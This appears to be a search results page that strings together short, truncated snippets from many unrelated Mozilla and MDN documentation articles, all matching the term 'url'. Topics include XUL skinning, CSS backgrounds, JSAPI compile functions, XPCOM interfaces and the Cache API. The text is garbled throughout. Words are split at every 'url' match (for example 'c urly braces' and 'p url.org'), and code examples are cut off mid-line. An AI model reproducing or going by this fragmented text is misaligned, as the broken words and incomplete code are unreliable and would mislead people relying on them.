url it is you want to be able to "fill in" when you use the keymark.
...these searches can be as complex as google will tolerate, since the entered data will be converted to
url-encoded text before it's sent to the google servers.
Finding the file to modify - Archive of obsolete content
the dom inspector will display the
url of the xul file that defines the mozilla browser window, which is chrome://navigator/content/navigator.xul.
... a chrome
url is a
url used internally by mozilla to refer to files in the chrome subdirectory of the mozilla installation directory.
... chrome
urls have paths that do not necessarily refer to a precise directory hierarchy.
... in this case the chrome
url refers to the file located at mozilla-installation-directory/chrome/content/navigator/navigator.xul.
In-Depth - Archive of obsolete content
point the
url to the new location.
... change: -moz-binding:
url("chrome://global/content/bindings/toolbar.xml#toolbar-primary"); to -moz-binding:
url("chrome://communicator/skin/toolbar/toolbarbindings.xml#toolbar-primary"); now every toolbar has a spot for an image on the right hand side and we can start adding images, but first we need to make sure we can see the images that we add.
...set the background-image to a
url of your choosing, such as
url("chrome://navigator/skin/icons/dino.png");.
... when it's all done you should have something that looks like this: #navigation-toolbar > .toolbar-holder > .toolbar-primary-icon { background-image:
url("chrome://navigator/skin/icons/dino.png"); } put the image in that directory, fire up mozilla, and take a look at your creation.
Repackaging Firefox - Archive of obsolete content
of course, this strategy only works when your strings either do not need localization, or are programmatically localizable (for example, simply adding the locale to a
url, like http://<locale>.example.com/).
...if you find a preference you think is generally useful to most partner repacks, please add it below, using the same style: localizable preferences browser.startup.homepage=<string> browser.startup.homepage_reset=<string>
url for the default homepage, and what the homepage gets reset to when the user hits "restore to default" in the preferences.
... these should both be the same
url.
... startup.homepage_welcome_
url=<string>
url to the first-run page.
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
the
url to use for the link delete deletes the selection.
...
url of the image to use insertorderedlist inserts an ordered list (<ol>) element at the cursor's position.
... void open (string http_method, string
url) void open (string http_method, string
url, boolean async, string username, string password) initializes the request for the specified
url, using either get or post as the http method.
...optionally, you can specify a username and password for the given
url needed.
File object - Archive of obsolete content
use of standard "file:"
urls is encouraged.
... examples of possible prefix strings are "/" to indicate the unix root directory, "c:" to specify a windows drive letter, and "file:" to indicate a file
url.
... file.to
url() returns a file://
url describing the file relative to the local file system.
...
url is uri-encoded.
The life of an HTML HTTP request - Archive of obsolete content
(1) the loading of the
url is started in nswebshell::doload
url (called from some load
url or loaduri variant in the webshell).
... the webshell then tells its documentloader to load (command "view") the specified
url.
... [note: passes nswebshell.mobserver as nsistreamobserver and the webshell as nsicontentviewercontainer to the docloader.] (2) the document loader calls ns_openuri with the
url to begin transfering the requested file.
... necko (the network library) checks the
url scheme (the first part of the
url, http: in this case) and locates the correct nsiprotocolhandler (in this case nshttphandler) and asks it for a nsichannel (nshttpchannel).
treecol.type - Archive of obsolete content
cbox-check.gif isn't available in firefox 1, 2, and 3 in mac os x so you should specify a
url to an image in your extension or elsewhere.
... */ list-style-image:
url("chrome://global/skin/checkbox/cbox-check.gif"); } treechildren::-moz-tree-checkbox(disabled) { /* disabled checkbox treecells.
... cbox-check.gif isn't available in firefox 1, 2, and 3 in mac os x, so you should specify a
url to an image in your extension or elsewhere.
... */ list-style-image:
url("chrome://global/skin/checkbox/cbox-check-dis.gif"); } see also type ...
Building Trees - Archive of obsolete content
f source): <tree id="photoslist" flex="1" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" flags="dont-build-content"> <treecols> <treecol id="name" label="name" flex="1"/> <treecol id="date" label="date" flex="1"/> </treecols> <template> <treechildren> <treeitem uri="rdf:*"> <treerow> <treecell label="rdf:http://p
url.org/dc/elements/1.1/title"/> <treecell label="rdf:http://p
url.org/dc/elements/1.1/date"/> </treerow> </treeitem> </treechildren> </template> </tree> note: the tree columns (treecols) are declared outside the template as static content, since they only need to be declared once.
...when the view requests a label for the first cell, the builder looks up the ‘http://p
url.org/dc/elements/1.1/title’ predicate for the row in question and returns it.
...in this case, the member resource is used since that holds the photo’s
url.
...<rule> <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://www.xulplanet.com/rdf/country" object="?country"/> <triple subject="?country" predicate="http://p
url.org/dc/elements/1.1/title" object="?countrytitle"/> </query> <action> <treechildren> <treeitem uri="?photo"> <treerow properties="?countrytitle"> <treecell src="?photo"/> </treerow> </treeitem> </treechildren> </action> </rule> you might use the following css to change the border around rows listing a particular country: treechildre...
Template Builder Interface - Archive of obsolete content
this isn't a very common technique, however, here is an example of how this can be used: <html:div id="photoslist" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" xmlns:html="http://www.w3.org/1999/xhtml"> <html:h1>my photos</html:h1> <template> <html:p uri="rdf:*"><textnode value="rdf:http://p
url.org/dc/elements/1.1/title"/></html:p> </template> </html:div> this example generates three paragraphs.
...one more note: the datasources attribute may use either absolute or relative
urls.
... relative
urls are relative to the xul document the corresponding element is in.
... the rdf service's getdatasource method however, only accepts absolute
urls.
Textbox (XPFE autocomplete) - Archive of obsolete content
history requires seamonkey 2.0 the user's
url history is searched.
... history: the user's
url history is searched.
...for the
url history, the comment column will contain the page titles associated with each
url.
...for the
url history, the comment column will contain the page titles associated with each
url.
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
copy and paste the line from here, to avoid typing errors: content,install,
url,resource:/chrome/custombutton/ explanation: this line registers your custom toolbar button extension, linking it into seamonkey.
...paste it into the new file: #custom-button-1 {list-style-image:
url("chrome://custombutton/content/button-1s.png");} /* common style for all custom buttons - modern */ #nav-bar .custombutton {-moz-image-region: rect( 0px 41px 39px 0px);} #nav-bar .custombutton:hover {-moz-image-region: rect( 0px 83px 39px 42px);} #nav-bar .custombutton:active {-moz-image-region: rect( 0px 125px 39px 84px);} .custombutton {-moz-image-region: rect(39px 49px 72px 0px)...
...be sure to add the extra code before the c
urly brace on the last line of the file.
...restart seamonkey and type the chrome
url: chrome://myapp/content/myapp.xul, the browser should show you the content of the xul file.
Adding Labels and Images - Archive of obsolete content
you can use the src attribute to specify the
url of the image file.
... the example below shows this: <image src="images/banner.jpg"/> although you can use this syntax, it would be better in order to support different themes to use a style sheet to set the image
url.
...you can use the list-style-image css property to set the
url for the image.
... here are some examples: xul: <image id="image1"/> <image id="search"/> style sheet: #image1 { list-style-image:
url("chrome://findfile/skin/banner.jpg"); } #search { list-style-image:
url("http://example.com/images/search.png"); } these images come from within the chrome directory, in the skin for the findfile package.
Adding Style Sheets - Archive of obsolete content
if your xul file is stored remotely and accessed via an http
url, you can store the style sheet remotely as well.
... let's assume that we are building the find files dialog for themeability, because the find files dialog can be referred to with the
url chrome://findfile/content/findfile.xul so the style sheet file will be stored in chrome://findfile/skin/findfile.css.
...this can be done with the code below, allowing you to remove the import from the xul file: style import from xul: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> style import from css: @import
url(chrome://global/skin/); the second syntax is preferred because it reduces the number of dependencies within the xul file itself.
...(the selector is the part before the c
urly brace in a style rule).
Skinning XUL Files by Hand - Archive of obsolete content
to keep your xul looking consistent and to avoid breaking skins altogether (when your styles have some dependency on a part of the global skin that changes, such as an image), use the style rules in the global skin by importing it into your stylesheet with the following instruction: @import
url("chrome://global/skin/"); refer to the document writing skinnable xul and css for guidelines on how to make your skins friendly to the global skin, to xul, and to mozilla.
...we will discuss this special
url type in a later article.
... here is a very short (but complete!) cascading stylesheet that might be referenced and used by a xul file: toolbar.nav-bar { background-image:
url("chrome://navigator/skin/navbar-bg.gif"); padding: 0px; padding-bottom: 2px; } box#navbar { background-color: lightblue; } a:link { color: #fa8072; } this stylesheet exhibits three of the different types of style definitions described above.
... add the following lines to the file: @import
url(chrome://global/skin/); box#bbox { background-color: lightgrey; } button#rd { background-color: red; color: white; } save it in the same directory as your xul file.
XBL Inheritance - Archive of obsolete content
the
url given in the extends attribute above is the
url of the textbox binding.
...autocompleting textboxes the example above is similar to how the
url autocomplete feature works in mozilla.
...the autocomplete textbox adds extra event handling so that when a
url is typed, a menu will pop up with possible completions.
...in this case, the value history is used, which looks up
urls in the history.
Using the Editor from XUL - Archive of obsolete content
it does some getting of window.arguments (which is a way callers can pass parameters to new windows -- we use this to get the
url to be loaded), then it calls editorstartup(), where the real work happens.
... editorstartup() does some other minor bits of setup before finally kicking off the
url load, which the most important part here.
... when the xul was parsed, the src attribute on the content frame was set to about:blank (our default 'blank page'
url).
...we get the
url to load from the args element, then kick off the load: var
url = document.getelementbyid("args").getattribute("value"); editorshell.load
url(
url); loading the document in the <iframe> of course happens asynchronously, so we need to know when we have a document that we can start editing.
Writing Skinnable XUL and CSS - Archive of obsolete content
@import
url(chrome://global/skin/) ...
... image chrome
urls should never occur in xul.
... any chrome
url that references an image in the skin is strictly forbidden in the xul.
...note that some particularly evil people put images chrome
urls in dtds.
prefwindow - Archive of obsolete content
opensubdialog(
url, features, params ) return type: window opens a child modal dialog.
...the
url should be a xul file.
... openwindow( windowtype,
url, features, params ) return type: window open a child window.
...if a window of the type is not open, a new one is opened displaying the supplied
url.
XULRunner tips - Archive of obsolete content
.chrome", "extension:manager-extensions"); pref("extensions.update.enabled", true); pref("extensions.update.interval", 86400); pref("extensions.dss.enabled", false); pref("extensions.dss.switchpending", false); pref("extensions.ignoremtimechanges", false); pref("extensions.logging.enabled", false); pref("general.skins.selectedskin", "classic/1.0"); // nb these point at amo pref("extensions.update.
url", "chrome://mozapps/locale/extensions/extensions.properties"); pref("extensions.getmoreextensions
url", "chrome://mozapps/locale/extensions/extensions.properties"); pref("extensions.getmorethemes
url", "chrome://mozapps/locale/extensions/extensions.properties"); if your application is based on gecko 2.0, you need to register a component through the new component registration because the extension...
... useful chrome
urls most of these require branding.
... window
url window type extension manager chrome://mozapps/content/extensions/extensions.xul?type=extensions extension:manager-extensions theme manager chrome://mozapps/content/extensions/extensions.xul?type=themes extension:manager-themes javascript console chrome://global/content/console.xul global:console about:config chrome://global/content/config.xul developer extensions venkman need a custom build or a compatible extension need to edit compatibility in needs a method to start venkman (usually by overlaying the main xul file, similar to existing code for firefox, suite, etc.) the function toopenwindowbytype() needs to be defined.
...when using xulrunner 1.9 or greater, you can create your own alias in your chrome manifest add a "skin" line: skin communicator classic/1.0 skin/communicator/ add a skin folder named "communicator" and add a single css file named "communicator.css" with this content: @import
url("chrome://global/skin"); dom inspector to add dom inspector 2.0.* to your xulrunner 1.9.0.* application follow these steps: download the dom inspector (instead of clicking the "add to..." button, right-click and select "save link as...").
Mobile accessibility - Learn web development
activate the
url bar.
...to enter the text of the
url: select the
url bar by swiping left/right till you get to it, and then double-tapping.
... activate the
url bar.
...to enter the text of the
url: select the
url bar by swiping left/right until you get to it, and then double-tapping.
Backgrounds and borders - Learn web development
.box { background: linear-gradient(105deg, rgba(255,255,255,.2) 39%, rgba(51,56,57,1) 96%) center center / 400px 200px no-repeat,
url(big-star.png) center no-repeat, rebeccapurple; } we'll return to how the shorthand works later in the tutorial, but first let's have a look at the different things you can do with backgrounds in css, by looking at the individual background properties.
... you can use keywords such as top and right (look up the others on the background-position page): .box { background-image:
url(star.png); background-repeat: no-repeat; background-position: top center; } and lengths, and percentages: .box { background-image:
url(star.png); background-repeat: no-repeat; background-position: 20px 10%; } you can also mix keyword values with lengths or percentages, for example: .box { background-image:
url(star.png); background-repeat: no-repeat; background-position: t...
...so in the css below we are positioning the background 20px from the top and 10px from the right: .box { background-image:
url(star.png); background-repeat: no-repeat; background-position: top 20px right 10px; } use the example below to play around with these values and move the star around inside the box.
... the other background-* properties can also have comma-separated values in the same way as background-image: background-image:
url(image1.png),
url(image2.png),
url(image3.png),
url(image4.png); background-repeat: no-repeat, repeat-x, repeat; background-position: 10px 20px, top right; each value of the different properties will match up to the values in the same position in the other properties.
Web fonts - Learn web development
the syntax required looks something like this: first of all, you have a @font-face block at the start of the css, which specifies the font file(s) to download: @font-face { font-family: "myfont"; src:
url("myfont.woff"); } below this you can then use the font family name specified inside @font-face to apply your custom font to anything you like, as normal: html { font-family: "myfont", "bitstream vera serif", serif; } the syntax does get a bit more complex than this; we'll go into more detail below.
... each of the
url() functions points to a font file that we want to import into our css — we need to make sure the paths to the files are correct, so add fonts/ to the start of each path (adjust as necessary).
...this is what one of the blocks looks like: @font-face { font-family: 'ciclefina'; src:
url('fonts/cicle_fina-webfont.eot'); src:
url('fonts/cicle_fina-webfont.eot?#iefix') format('embedded-opentype'),
url('fonts/cicle_fina-webfont.woff2') format('woff2'),
url('fonts/cicle_fina-webfont.woff') format('woff'),
url('fonts/cicle_fina-webfont.ttf') format('truetype'),
url('fonts/cicle_fina-webfont.svg#ciclefina') format('svg'); font-weight: normal; f...
... src: these lines specify the paths to the font files to be imported into your css (the
url part), and the format of each font file (the format part).
Build your own function - Learn web development
this is followed by the name we want to give to our function, a set of parentheses, and a set of c
urly braces.
... any parameters we want to give to our function go inside the parentheses, and the code that runs when we call the function goes inside the c
urly braces.
... finally, add the following code inside the c
urly braces: const html = document.queryselector('html'); const panel = document.createelement('div'); panel.setattribute('class', 'msgbox'); html.appendchild(panel); const msg = document.createelement('p'); msg.textcontent = 'this is a message box'; panel.appendchild(msg); const closebtn = document.createelement('button'); closebtn.textcontent = 'x'; panel.appendchild(closebtn); closebtn.onclick = function() { panel.parentnode.removechild(panel); } this is quite a lot of code to go through, so we'll walk you through it bit by bit.
...add the following block just above the closing c
urly brace (}) of your function: if (msgtype === 'warning') { msg.style.backgroundimage = '
url(icons/warning.png)'; panel.style.backgroundcolor = 'red'; } else if (msgtype === 'chat') { msg.style.backgroundimage = '
url(icons/chat.png)'; panel.style.backgroundcolor = 'aqua'; } else { msg.style.paddingleft = '20px'; } here, if the msgtype parameter is set as 'warning', the warning icon is...
Making decisions in your code — conditionals - Learn web development
a set of c
urly braces, inside which we have some code — this can be any code we like, and it only runs if the condition returns true.
... another set of c
urly braces, inside which we have some more code — this can be any code we like, and it only runs if the condition is not true — or in other words, the condition is false.
... this code is pretty human-readable — it is saying "if the condition returns true, run code a, else run code b" you should note that you don't have to include the else and the second c
urly brace block — the following is also perfectly legal code: if (condition) { code to run if condition is true } run some other code however, you need to be careful here — in this case, the second block of code is not controlled by the conditional statement, so it always runs, regardless of whether the condition returns true or false.
... as a final point, you may sometimes see if...else statements written without the c
urly braces, in the following shorthand style: if (condition) code to run if condition is true else run some other code instead this is perfectly valid code, but using it is not recommended — it is much easier to read the code and work out what is going on if you use the c
urly braces to delimit the blocks of code, and use multiple lines and indentation.
A first splash into JavaScript - Learn web development
after that we put two c
urly braces ({ }).
... inside the c
urly braces goes all the code that we want to run whenever we call the function.
...the simplest form of conditional block starts with the keyword if, then some parentheses, then some c
urly braces.
...if the test returns true, we run the code inside the c
urly braces.
Creating MozSearch plugins
a mozsearch search plugin is an xml file that describes the search engine, its
url, and the parameters that need to be passed to that
url.
...earch plugin for searching using yahoo!: <searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>yahoo</shortname> <description>yahoo search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,r0lgodlheaaqajecap8aaaaaap///waaach5baeaaaialaaaaaaqabaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> <
url type="application/x-suggestions+json" method="get" template="http://ff.search.yahoo.com/gossip?output=fxjson&command={searchterms}" /> <
url type="text/html" method="get" template="http://search.yahoo.com/search"> <param name="p" value="{searchterms}"/> <param name="ei" value="utf-8"/> <mozparam name="fr" condition="pref" pref="yahoo-fr" /> </
url> <searchform>http://search.yahoo.co...
...firefox will use the above search engine description to construct the following search
url: http://search.yahoo.com/search?p=mozilla&ei=utf-8&fr=moz2 if the user clicks the magnifying glass icon in the search bar, or chooses the web search option in the tools menu when the search bar isn't visible, the browser will take them to http://search.yahoo.com/, the value of the <searchform> element.
...vkhdbia%2bcuotgaccued3tdqn75d4xmavcok9armhbzaw0aecibhkalc0mdy7x9abna3obazxiaa6ikecglmvqhwwyjyul2d4v2cpg8vzswx7ghyaaak7aoif7saboqcmn4ha3ahfsidtgpq%2fvlz8p4mskj2w9h8ggbjevxvhdo4fquqg%2fkdypqcg4h8luiacnq%2fsobmyi8basajfpcj1aaeejwvqqlpabxmh5bjjqi0gi9dtaagdbbccavlkgmq7ykczxpcqxquzhaeccj4xgml493ug21zd%2badaxh0wlm4a9mzpxjkjiiawtar5pqmalacabquulttbgccagcnnzgabbgamj5thwgvjlaaaaabjru5erkjggg%3d%3d</image> <
url type="text/html" method="get" template="http://developer.mozilla.org/en/docs/special:search?search={searchterms}"/> <searchform>http://developer.mozilla.org/en/docs/special:search</searchform> </searchplugin> notice in this case that instead of using <param> to define parameters to the search engine, they're simply embedded inside the template
url.
Frame script loading and lifetime
the script just writes "foo" to the command line: // chrome script var mm = gbrowser.selectedbrowser.messagemanager; mm.loadframescript('data:,dump("foo\\n")', true); loadframescript() takes two mandatory parameters: a
url that points to the frame script you want to load a boolean flag, allowdelayedload note: if the message manager is a global frame message manager or a window message manager, loadframescript() may load the script multiple times, once in each applicable frame.
... chrome:
urls extension developers usually use a chrome://
url to refer to the frame scripts.
... to define the mapping between a chrome://
url and a frame script packaged with an extension, use a "chrome.manifest" file to register a chrome
url: // chrome.manifest content my-e10s-extension chrome/content/ // chrome script mm.loadframescript("chrome://my-e10s-extension/content/content.js", true); allowdelayedload if the message manager is a global frame message manager or a window message manager then: if allowdelayedload is true, the frame script will be loaded into any new frame, which has opened after the loadframescript() call.
...the workaround is to randomize the frame script's
url; for example, by appending "?" + math.random().
Internationalized Domain Names (IDN) Support in Mozilla Browsers
idn allows host/domain names with non-ascii characters for user input into a browser's location bar or
url's embedded in web pages.
... at the network protocol level, there is no change in the restriction that only a subset of ascii characters be used in
url/uri.
...since the unicode repertoire contains characters no longer used in any living languages and there are also living characters in most languages that are not suitable for uri/
url creation, the icann guideline allows the governing body of each country's domain registrars to set appropriate limitations on the use of characters.
...if you find idn test sites under the .com and .net top domains, and if you cannot successfully access these sites, you can use the following workaround until the conversion to punycode is completed for these top domains: using netscape 7.1 or mozilla 1.4: type about:config into the location/
url bar.
Extras
style="stop-color:rgb(255,0,0); stop-opacity:.8;"/> </radialgradient> </defs> <g transform="translate(15,15)"> <g> <animatetransform attributename="transform" attributetype="xml" type="rotate" from="360" to="0" dur="15s" repeatcount="indefinite"/> <g transform="translate(-15, -15)"> <path fill="
url(#radgrad1)" d="m 15 0 l 20 10 l 30 15 l 20 20 l 15 30 l 10 20 l 0 15 l 10 10"/> </g> </g> </g> </svg> </mtext> </mpadded> </msqrt> <mo>=</mo> <msubsup> <mo>∫</mo> <mn>0</mn> <mfrac> <mi>π</mi> <mn>2</mn> </mfrac> </msubsup> <msup> <mi>θ</mi> <mtext> <svg width="15px" height="15px"> <defs> <radialgradient id="radgrad2" cx="50%" cy="50%" r="50%" ...
... fx="50%" fy="50%"> <stop offset="0%" style="stop-color:rgb(255,255,255); stop-opacity:1;"/> <stop offset="100%" style="stop-color:rgb(0,0,255); stop-opacity:.9;"/> </radialgradient> </defs> <g> <animatemotion path="m0,0 l3,0 l2,5 l5,5 l0,4 l5,2 z" begin="0s" dur="0.5s" repeatcount="indefinite"/> <circle fill="
url(#radgrad2)" r="5px" cx="5px" cy="5px"/> </g> </svg> </mtext> </msup> <mrow> <mo>ⅆ</mo> <mi>θ</mi> </mrow> </math> <div style="width: 300px; margin-left: auto; margin-right: auto;"> <svg width="300px" height="250px"> <defs> <lineargradient id="grad1" x1="0%" y1="0%" x2="100%" y2="0%"> <stop offset="0%" style="stop-color:rgb(0,0,255);stop-opacity:1"/> <stop offset="100%" style="stop-color:rgb(0,255...
...rgb(255,0,0);stop-opacity:1"/> <stop offset="100%" style="stop-color:rgb(255,255,0);stop-opacity:1"/> </lineargradient> <radialgradient id="grad3" cx="50%" cy="50%" r="50%" fx="50%" fy="50%"> <stop offset="0%" style="stop-color:rgb(0,255,255);stop-opacity:1"/> <stop offset="100%" style="stop-color:rgb(255,255,255);stop-opacity:.8"/> </radialgradient> </defs> <rect width="300" height="250" fill="
url(#grad1)"/> <g transform="translate(150,125)"> <g> <animatetransform attributename="transform" attributetype="xml" type="rotate" from="0" to="360" dur="6s" repeatcount="indefinite"/> <g transform="translate(-50,-35)"> <rect width="100" height="70" fill="
url(#grad2)"/> <switch> <foreignobject width="100" height="70" re...
...temotion path="m 32,69 c 64,121 100,27 152,42 203,56 239,257 275,161 295,109 144,221 88,214 -2,202 11,35 32,69 z" begin="0s" dur="20s" repeatcount="indefinite"/> <animatetransform attributename="transform" attributetype="xml" type="scale" values="1;2;.5;1" keytimes="0;.25;.75;1" dur="20s" repeatcount="indefinite"/> <circle fill="
url(#grad3)" r="30"/> <g transform="translate(-30,-30)"> <switch> <foreignobject width="60" height="60" requiredextensions="http://www.w3.org/1998/math/mathml"> <math display="block"> <mrow> <munderover> <mo>∑</mo> <mrow> <mi>n</mi> <mo>=</mo> <mn>0</mn> </mrow> <mrow> <mo>+</mo> <mi>∞</mi> </mrow> </munderover> <mfrac> <msup> <mi>α</mi> <mi>n</mi> </msup> <mrow> <mi>n</mi> <mo>!</mo> </mrow> </...
Mozilla DOM Hacking Guide
we can change the
url of the current window by assigning window.location.
...this is because, if we had a setlocation() method, it would take an nsidomlocation parameter, and not a
url string.
...the
url) to a jsstring.
...getstringchars(val)), ::js_getstringlength(val)); // convert the jsstring to a string that can be passed to sethref() rv = location->sethref(href); ns_ensure_success(rv, rv); // after this, we effectively mapped .location to .location.href return wrapnative(cx, obj, location, ns_get_iid(nsidomlocation), vp); // create a wrapper for the location object with vp (the
url) as value.
sslintro.html
changes default values for all subsequently opened sockets as long as the application is running (compare with ssl_set
url which only configures the socket that is currently open).
... ssl_set
url.
...records the target server
url for comparison with the
url specified by the server certificate.
...ack functions, including these: cert_checkcertvalidtimes cert_getdefaultcertdb cert_destroycertificate cert_dupcertificate cert_findcertbyname cert_freenicknames cert_getcertnicknames cert_verifycertname cert_verifycertnow pk11_findcertfromnickname pk11_findkeybyanycert pk11_setpasswordfunc pl_strcpy pl_strdup pl_strfree pl_strlen ssl_peercertificate ssl_reveal
url ssl_revealpinarg cleanup this portion of an ssl-enabled application consists primarily of closing the socket and freeing memory.
Rhino shell
invoking the shell java org.mozilla.javascript.tools.shell.main [options] script-filename-or-
url [script-arguments] where options are: -e script-source executes script-source as a javascript script.
... -f script-filename-or-
url reads script-filename-or-
url content and execute it as a javascript script.
... note if the shell is invoked with the system property rhino.use_java_policy_security set to true and with a security manager installed, the shell restricts scripts permissions based on their
urls according to java policy settings.
... read
url(
url [, charactercoding]) open an input connection to the given string
url, read all its bytes and convert them to a string using the specified character coding or default character coding if explicit coding argument is not given.
JS_CompileFunction
filename const char * name of file or
url containing the function.
... used to report filename or
url in error messages.
...used to report the offending line in the file or
url if an error occurs.
... filename is the name of the file (or
url) containing the function.
JS_CompileFunctionForPrincipals
filename const char * name of file or
url containing the function.
... used to report filename or
url in error messages.
...used to report the offending line in the file or
url if an error occurs.
... filename is the name of the file (or
url) containing the function.
JS_CompileScriptForPrincipals
filename const char * name of file or
url containing the function.
... used to report filename or
url in error messages.
...used to report the offending line in the file or
url if an error occurs.
... filename is the name of the file (or
url) containing the script.
JS_EvaluateScript
filename const char * name of file or
url containing the script.
... used to report filename or
url in error messages.
...used to report the offending line in the file or
url if an error occurs.
... filename is the name of the file (or
url) containing the script.
JS_EvaluateScriptForPrincipals
filename const char * name of file or
url containing the script.
... used to report filename or
url in error messages.
...used to report the offending line in the file or
url if an error occurs.
... filename is the name of the file (or
url) containing the script.
nsICrashReporter
server
url nsi
url get or set the
url to which crash reports will be submitted.
... only https and http
urls are allowed, as the submission is handled by os-native networking libraries.
... exceptions thrown ns_error_failure on get if no
url is set.
... ns_error_invalid_arg on set if a non-http(s)
url is assigned.
nsITaggingService
tagcontainericonspec autf8string retrieves the
url spec for the tag container icon methods taguri() this method tags a uri with the given set of tags.
... current tags set for the
url persist.
... void taguri( in nsiuri auri, in nsivariant atags ); parameters auri the
url to tag.
... void untaguri( in nsiuri auri, in nsivariant atags ); parameters auri the
url to un-tag.
nsIURI
inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) see the following rfcs for details: rfc3490: internationalizing domain names in applications (idna) rfc3986: uniform resource identifier (uri): generic syntax rfc3987: internationalized resource identifiers subclasses of nsiuri, such as nsi
url, impose further structure on the uri.
... to create an nsiuri object, you should use nsiioservice.newuri(), like this: function makeuri(a
url, aorigincharset, abaseuri) { var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); return ioservice.newuri(a
url, aorigincharset, abaseuri); } components of a uri prepath path scheme userpass host port ref ftp :// username@password @ hostname : portnumber /pathname?query=value #ref method overview nsiuri clone(); nsiuri cloneignoringref(); boolean equals(in nsiuri other); boolean equalsexceptref(in nsiuri other); autf8string resolve(in autf8string relativepath)...
...other parts are
url-escaped per the rules of rfc3986.
... if this value is something other than utf-8 then the uri components (for example spec, prepath, username, and so on) are all fully
url-escaped.
nsIWindowWatcher
wserchrome getchromeforwindow(in nsidomwindow awindow); nsiauthprompt getnewauthprompter(in nsidomwindow aparent); nsiprompt getnewprompter(in nsidomwindow aparent); nsidomwindow getwindowbyname(in wstring atargetname, in nsidomwindow acurrentwindow); nsisimpleenumerator getwindowenumerator(); nsidomwindow openwindow(in nsidomwindow aparent, in string a
url, in string aname, in string afeatures, in nsisupports aarguments); void registernotification(in nsiobserver aobserver); void setwindowcreator(in nsiwindowcreator creator); void unregisternotification(in nsiobserver aobserver); attributes attribute type description activewindow nsidomwindow the watcher serves as a global storage faci...
... nsidomwindow openwindow( in nsidomwindow aparent, in string a
url, in string aname, in string afeatures, in nsisupports aarguments ); parameters aparent the parent window, if any.
... a
url the
url to open in the new window.
...if a window with this name already exists, the openwindow call may just load a
url in it (if a
url is not null) and return it.
nsIXmlRpcClient
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void init(in string server
url); void setauthentication(in string username, in string password); void clearauthentication(in string username, in string password); void setencoding(in string encoding); void setencoding(in unsigned long type, out nsiidref uuid, out nsqiresult result); void asynccall (in nsixmlrpcclientlistener listener, in nsisupports ctxt, in string methodname, in nsisupports arguments, in pruint32 count); attributes attribute type description server
url readonly ns...
...i
url the
url of the xml-rpc server inprogress readonly boolean whether or not a call is in progress fault readonly nsixmlrpcfault the most recent xml-rpc fault from returned from this server.
... constants constant type description int unsigned long nsisupportsprint32 boolean unsigned long nsisupportsprbool string unsigned long nsisupportscstring double unsigned long nsisupportsdouble datetime unsigned long nsisupportsprtime array readonly unsigned long nsisupportsarray struct readonly unsigned long nsisupportsdictionary methods init() set server
url.
... call this before using this object void getdata ( in string server
url ) ; parameters server
url url of server side object on which methods should be called setauthentication() set authentication info if needed.
Autoconfiguration in Thunderbird
ispdb database
url is <https://autoconfig.thunderbird.net/v1.1/>, append domain name, e.g.
... configuration server at isp given the email address "fred@example.com", thunderbird checks <https://autoconfig.example.com/mail/config-v1.1.xml?emailaddress=fred@example.com> (preferred) and <https://example.com/.well-known/autoconfig/mail/config-v1.1.xml> and the same
urls with http (see section ssl below).
... small company if you are a small company, you can put the xml configuration file on your web server, at
url <https://example.com/.well-known/autoconfig/mail/config-v1.1.xml> pointing to an xml file.
... documentroot /var/www/autoconfig/ servername autoconfig.hoster.com <directory /var/www/autoconfig> order allow,deny allow from all </directory> </virtualhost> place the configuration file at the
url /mail/config-v1.1.xml on that host.
MailNews Protocols
the service class creates and initializes the
url object for the operation, and hands that off to a protocol object to run.
...a
url object.
... these implement nsimsgmailnews
url, inherit from base/util/nsmsgmailnews
url, and implement their own protocol-specific interface (nsiimap
url, nsinntp
url, nsipop3
url).
... a protocol object that takes a
url and handles the network communications with the actual server required to run that
url.
Mozilla
adding phishing protection data providers phishing protection technology lets firefox help protect users by comparing the
urls the user visits to a list of known scam sites, and presenting a warning to the user when they visit a site on the list.
...nsiapplicationcacheservice::chooseapplicationcache is given the
url the channel is about to load.
... it synchronously returns an nsiapplicationcache object representing the most recent cache version from the most recent cache group containing the entry under the
url or a matching namespace.
...a mozsearch search plugin is an xml file that describes the search engine, its
url, and the parameters that need to be passed to that
url.
Cache.add() - Web APIs
the add() method of the cache interface takes a
url, retrieves it, and adds the resulting response object to the given cache.
... the add() method is functionally equivalent to the following: fetch(
url).then(function(response) { if (!response.ok) { throw new typeerror('bad response status'); } return cache.put(
url, response); }) for more complex operations, you'll need to use cache.put() directly.
...this can be a request object or a
url.
... exceptions exception happens when typeerror the
url scheme is not http or https.
Cache.addAll() - Web APIs
the addall() method of the cache interface takes an array of
urls, retrieves them, and adds the resulting response objects to the given cache.
... syntax cache.addall(requests[]).then(function() { // requests have been added to the cache }); parameters requests an array of string
urls that you want to be fetched and added to the cache.
... you can specify the request object instead of the
url.
... exceptions exception happens when typeerror the
url scheme is not http or https.
Cache.keys() - Web APIs
note: requests with duplicate
urls but different headers can be returned if their responses have the vary header set on them.
...this can be a request object or a
url.
...the available options are: ignoresearch: a boolean that specifies whether the matching process should ignore the query string in the
url.
... in other words, if the
url matches you will get a match regardless of whether the response object has a vary header.
Cache.match() - Web APIs
this can be a request object or a
url.
...the available options are: ignoresearch: a boolean that specifies whether to ignore the query string in the
url.
...if the
url matches you will get a match regardless of whether the response object has a vary header.
... if (event.request.method === 'get' && event.request.headers.get('accept').indexof('text/html') !== -1) { console.log('handling fetch event for', event.request.
url); event.respondwith( fetch(event.request).catch(function(e) { console.error('fetch failed; returning offline page instead.', e); return caches.open(offline_cache).then(function(cache) { return cache.match(offline_
url); }); }) ); } }); specifications specification status comment service workersthe definition of 'cach...
CacheStorage.match() - Web APIs
the match() method of the cachestorage interface checks if a given request or
url string is a key for a stored response.
... this can be a request object or a
url string.
